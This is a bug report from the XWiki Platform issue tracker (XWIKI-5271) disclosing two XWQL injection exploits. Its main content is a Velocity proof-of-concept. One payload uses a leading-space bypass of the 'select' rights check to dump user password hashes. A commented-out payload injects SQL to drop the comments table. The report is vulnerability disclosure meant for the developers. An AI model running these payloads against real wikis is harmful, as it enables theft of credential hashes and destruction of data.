Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-5271

2 exploits, arbitrary selects (and updates in some databases) possible with XWQL

    XMLWordPrintable

Details

    • Bug
    • Resolution: Cannot Reproduce
    • Major
    • None
    • 2.4 M1
    • Storage
    • Unknown

    Description

      Here are 2 exploits for making XWQL select arbitrary data (and alter data on some databases.)
      The first is embarrassingly simple to carry out. Apparently there is a proframming right check if the query test starts with "select" but it doesn't check if the first parser token is a select token resulting in the obvious " select" attack.

      I think this query language is somewhat safer than HQL but only for the reason that the holes don't always line up between XWQL and HQL.

      {{velocity}}
      #if($xcontext.hasProgrammingRights())
      You have PR, attacking is pointless
      #end
      #set($xqm = $xwiki.getQueryManager())
      
      {{{
      Queries starting with 'select' are banned but not starting with ' select'
      Password hashes:
      
      #foreach($user in $xqm.xwql(" select p, u from Document as doc, doc.object(XWiki.XWikiUsers) as u, StringProperty as p where p.id = u.id and p.name = 'password'").execute())
       #foreach($el in $user)
        $el
       #end
      #end
      
      ## Oh you again.
      ## this blows up with a error but the work gets done. (Only drop tables on Postgres or MSSQL, read anything in other DB's except HSQL)
      ##$xqm.xwql("where ''='\' or '; drop table xwikicomments; commit; --\' = doc.fullName").execute()
      
      }}}
      {{/velocity}}
      

      Attachments

        Activity

          People

            tmortagne Thomas Mortagne
            calebjamesdelisle CalebJamesDeLisle
            Votes:
            0 Vote for this issue
            Watchers:
            2 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: